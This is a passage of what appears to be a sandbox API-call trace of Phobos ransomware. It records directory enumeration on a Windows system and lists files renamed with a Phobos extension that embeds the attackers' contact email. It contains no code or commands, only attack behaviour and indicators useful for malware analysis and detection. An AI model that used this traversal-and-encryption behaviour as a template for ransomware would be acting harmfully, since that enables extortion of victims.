ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeffb7f7b, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x79112, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="NE4478~1.PHO")) returned 1 [0132.182] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9d06c8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9d06c8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeea42c73, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x427b2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="ParameterInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeffb7f7b, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeffb7f7b, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0050a48, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2d312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9RAST_x64.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RGB9RA~1.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0050a48, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0050a48, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf009cec4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17312, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9Rast_x86.msi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RGB9RA~2.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf009cec4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf009cec4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf00c30ad, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13242, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Setup.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPE~1.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00c30ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf00c30ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf04c916b, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupEngine.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPE~2.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0abec4b, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0abec4b, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0d6d830, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x48252, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~2.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9f6892, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee9f6892, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeb4ddcb, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x76a2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.xsd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~1.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d6d830, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0d6d830, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0dbac0c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x17862, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUtility.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPU~3.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea42c73, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeea42c73, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeab5356, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SplashScreen.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SPLASH~1.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0dbac0c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xf0dbac0c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xf0fa9bd9, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x23522, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="sqmapi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SQMAPI~1.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeadb6c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeeadb6c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeee4d509, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3802, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Strings.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="STRING~1.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb4ddcb, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeeb4ddcb, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeeebb3d7, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0132.183] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee4d509, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeee4d509, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeefaece4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="watermark.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WATERM~1.PHO")) returned 1 [0132.184] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xf2680385, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x5b5245, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~1.PHO")) returned 1 [0132.184] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xf2eb25d8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2d7652, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~2.PHO")) returned 1 [0132.184] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xf4248d9e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x59b300, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~3.PHO")) returned 1 [0132.184] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xf412c8d6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~4.PHO")) returned 1 [0132.184] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xf412c8d6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~4.PHO")) returned 0 [0132.184] FindClose (in: hFindFile=0x7390a8 | out: hFindFile=0x7390a8) returned 1 [0132.184] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b30058 | out: hHeap=0xf10000) returned 1 [0132.185] FindNextFileW (in: hFindFile=0x739068, lpFindFileData=0x12ffcb8 | out: lpFindFileData=0x12ffcb8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x12ffee0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0132.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7390a8 [0132.186] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0132.186] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD", cAlternateFileName="")) returned 1 [0132.186] SetEvent (hEvent=0x29c) returned 1 [0132.186] ResetEvent (hEvent=0x2a0) returned 1 [0132.186] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0132.186] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0132.186] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0132.186] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0132.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7395a8 [0132.186] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.186] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0132.187] FindNextFileW (in: hFindFile=0x7395a8, lpFindFileData=0x12ff7b0 | out: lpFindFileData=0x12ff7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0132.187] FindClose (in: hFindFile=0x7395a8 | out: hFindFile=0x7395a8) returned 1 [0132.212] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0x2b40060 | out: hHeap=0xf10000) returned 1 [0132.212] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0132.212] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefaece4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeefaece4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeefc64e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BOOTSTAT.DAT.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="BOOTST~1.PHO")) returned 1 [0132.212] FindNextFileW (in: hFindFile=0x7390a8, lpFindFileData=0x12ffa34 | out: lpFindFileData=0x12ffa34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 Thread: id = 293 os_tid = 0x74c [0131.960] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x38) returned 0xf1a660 [0131.960] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x18) returned 0xf1a6a0 [0131.960] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2b8 [0131.960] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2bc [0131.960] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2c0 [0131.960] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b50068 [0131.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1333979, lpParameter=0x2b0fc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0131.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1333979, lpParameter=0x2b0fc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0131.961] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b60070 [0131.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2b0f9d8 | out: lpFindFileData=0x2b0f9d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b0fc00, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x739128 [0131.961] GetLastError () returned 0x0 [0131.961] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x214) returned 0xf18cf0 [0131.962] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0131.962] GetCurrentThreadId () returned 0x74c [0131.962] SetLastError (dwErrCode=0x0) [0131.962] GetLastError () returned 0x0 [0131.962] SetLastError (dwErrCode=0x0) [0131.962] GetLastError () returned 0x0 [0131.962] SetLastError (dwErrCode=0x0) [0131.962] GetLastError () returned 0x0 [0131.962] SetLastError (dwErrCode=0x0) [0131.962] GetLastError () returned 0x0 [0131.962] SetLastError (dwErrCode=0x0) [0131.962] GetLastError () returned 0x0 [0131.962] SetLastError (dwErrCode=0x0) [0131.962] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b70078 [0131.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7392e8 [0131.963] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0131.963] FindNextFileW (in: hFindFile=0x7392e8, lpFindFileData=0x2b0f754 | out: lpFindFileData=0x2b0f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0131.963] GetLastError () returned 0x0 [0131.963] SetLastError (dwErrCode=0x0) [0131.963] GetLastError () returned 0x0 [0131.963] SetLastError (dwErrCode=0x0) [0131.963] GetLastError () returned 0x0 [0131.963] SetLastError (dwErrCode=0x0) [0131.963] GetLastError () returned 0x0 [0131.963] SetLastError (dwErrCode=0x0) [0131.963] GetLastError () returned 0x0 [0131.963] SetLastError (dwErrCode=0x0) [0131.963] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x2b80080 [0131.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2b0f4d0 | out: lpFindFileData=0x2b0f4d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x739168 [0131.964] FindNextFileW (in: hFindFile=0x739168, lpFindFileData=0x2b0f4d0 | out: 